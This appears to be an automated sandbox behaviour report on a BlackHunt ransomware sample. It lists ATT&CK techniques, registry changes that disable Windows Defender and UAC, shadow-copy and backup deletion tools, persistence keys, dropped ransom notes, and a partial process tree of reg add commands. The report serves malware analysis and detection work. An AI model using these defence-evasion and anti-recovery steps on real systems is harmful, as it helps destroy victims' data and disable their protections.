e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d

Data Destruction

T1485

pid	Process
4808	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	cmd.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
444	bcdedit.exe
2864	bcdedit.exe

Renames multiple (523) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2864	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	cmd.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\I:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\J:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\Y:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\T:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\H:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\K:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\Z:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\O:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\N:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\Q:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\M:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\B:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\P:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\G:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\L:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\V:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\R:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\A:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\S:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened (read-only)	\??\X:	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\Welcome.html	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.hta	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\nashorn.jar	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunec.jar	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\accessibility.properties	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\resources.jar	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\GrantUndo.edrwx	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzmappings	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_ReadMe.hta	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_ReadMe.hta	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.bfc	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\colorimaging.md	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\[email protected]	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\cldrdata.jar	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\santuario.md	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jre-1.8\lib\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_ReadMe.hta	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\DenyDisconnect.mhtml	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightItalic.ttf	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\MSBuild\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\currency.data	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\sRGB.pf	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklisted.certs	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\classfile_constants.h	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\default.jfc	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\plugin.jar	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\tzmappings	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_ReadMe.hta	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_ReadMe.hta	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.txt	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_Private.key	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyNoDrop32x32.gif	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1836	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4616	vssadmin.exe
3600	vssadmin.exe
1696	vssadmin.exe
3976	vssadmin.exe
980	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Token: SeRestorePrivilege	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Token: SeBackupPrivilege	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Token: SeTakeOwnershipPrivilege	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Token: SeAuditPrivilege	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Token: SeSecurityPrivilege	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Token: SeIncBasePriorityPrivilege	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Token: SeBackupPrivilege	3080	vssvc.exe
Token: SeRestorePrivilege	3080	vssvc.exe
Token: SeAuditPrivilege	3080	vssvc.exe
Token: SeBackupPrivilege	5012	wbengine.exe
Token: SeRestorePrivilege	5012	wbengine.exe
Token: SeSecurityPrivilege	5012	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 3640	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	92
PID 4696 wrote to memory of 3640	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	92
PID 4696 wrote to memory of 2304	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	94
PID 4696 wrote to memory of 2304	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	94
PID 4696 wrote to memory of 1752	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	96
PID 4696 wrote to memory of 1752	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	96
PID 4696 wrote to memory of 1044	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	101
PID 4696 wrote to memory of 1044	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	101
PID 4696 wrote to memory of 3396	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	173
PID 4696 wrote to memory of 3396	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	173
PID 3640 wrote to memory of 1592	3640	cmd.exe	103
PID 3640 wrote to memory of 1592	3640	cmd.exe	103
PID 1044 wrote to memory of 4044	1044	cmd.exe	102
PID 1044 wrote to memory of 4044	1044	cmd.exe	102
PID 1752 wrote to memory of 4804	1752	cmd.exe	172
PID 1752 wrote to memory of 4804	1752	cmd.exe	172
PID 2304 wrote to memory of 3428	2304	cmd.exe	105
PID 2304 wrote to memory of 3428	2304	cmd.exe	105
PID 3396 wrote to memory of 4036	3396	reg.exe	169
PID 3396 wrote to memory of 4036	3396	reg.exe	169
PID 4696 wrote to memory of 4980	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	107
PID 4696 wrote to memory of 4980	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	107
PID 4696 wrote to memory of 760	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	110
PID 4696 wrote to memory of 760	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	110
PID 4696 wrote to memory of 1676	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	112
PID 4696 wrote to memory of 1676	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	112
PID 4696 wrote to memory of 4272	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	114
PID 4696 wrote to memory of 4272	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	114
PID 4696 wrote to memory of 384	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	115
PID 4696 wrote to memory of 384	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	115
PID 4696 wrote to memory of 2796	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	118
PID 4696 wrote to memory of 2796	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	118
PID 4696 wrote to memory of 1116	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	120
PID 4696 wrote to memory of 1116	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	120
PID 4980 wrote to memory of 2784	4980	cmd.exe	122
PID 4980 wrote to memory of 2784	4980	cmd.exe	122
PID 4696 wrote to memory of 4948	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	131
PID 4696 wrote to memory of 4948	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	131
PID 4696 wrote to memory of 3244	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	123
PID 4696 wrote to memory of 3244	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	123
PID 760 wrote to memory of 3024	760	cmd.exe	186
PID 760 wrote to memory of 3024	760	cmd.exe	186
PID 4696 wrote to memory of 1776	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	125
PID 4696 wrote to memory of 1776	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	125
PID 4696 wrote to memory of 4708	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	129
PID 4696 wrote to memory of 4708	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	129
PID 1676 wrote to memory of 224	1676	cmd.exe	132
PID 1676 wrote to memory of 224	1676	cmd.exe	132
PID 1116 wrote to memory of 2556	1116	cmd.exe	133
PID 1116 wrote to memory of 2556	1116	cmd.exe	133
PID 4696 wrote to memory of 1092	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	134
PID 4696 wrote to memory of 1092	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	134
PID 4696 wrote to memory of 3772	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	136
PID 4696 wrote to memory of 3772	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	136
PID 4696 wrote to memory of 4844	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	138
PID 4696 wrote to memory of 4844	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	138
PID 4696 wrote to memory of 1388	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	139
PID 4696 wrote to memory of 1388	4696	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe	139
PID 4272 wrote to memory of 644	4272	cmd.exe	140
PID 4272 wrote to memory of 644	4272	cmd.exe	140
PID 384 wrote to memory of 2812	384	cmd.exe	144
PID 384 wrote to memory of 2812	384	cmd.exe	144
PID 2796 wrote to memory of 2348	2796	cmd.exe	143
PID 2796 wrote to memory of 2348	2796	cmd.exe	143

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe
"C:\Users\Admin\AppData\Local\Temp\e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:4804
- C:\Windows\System32\cmd.exe
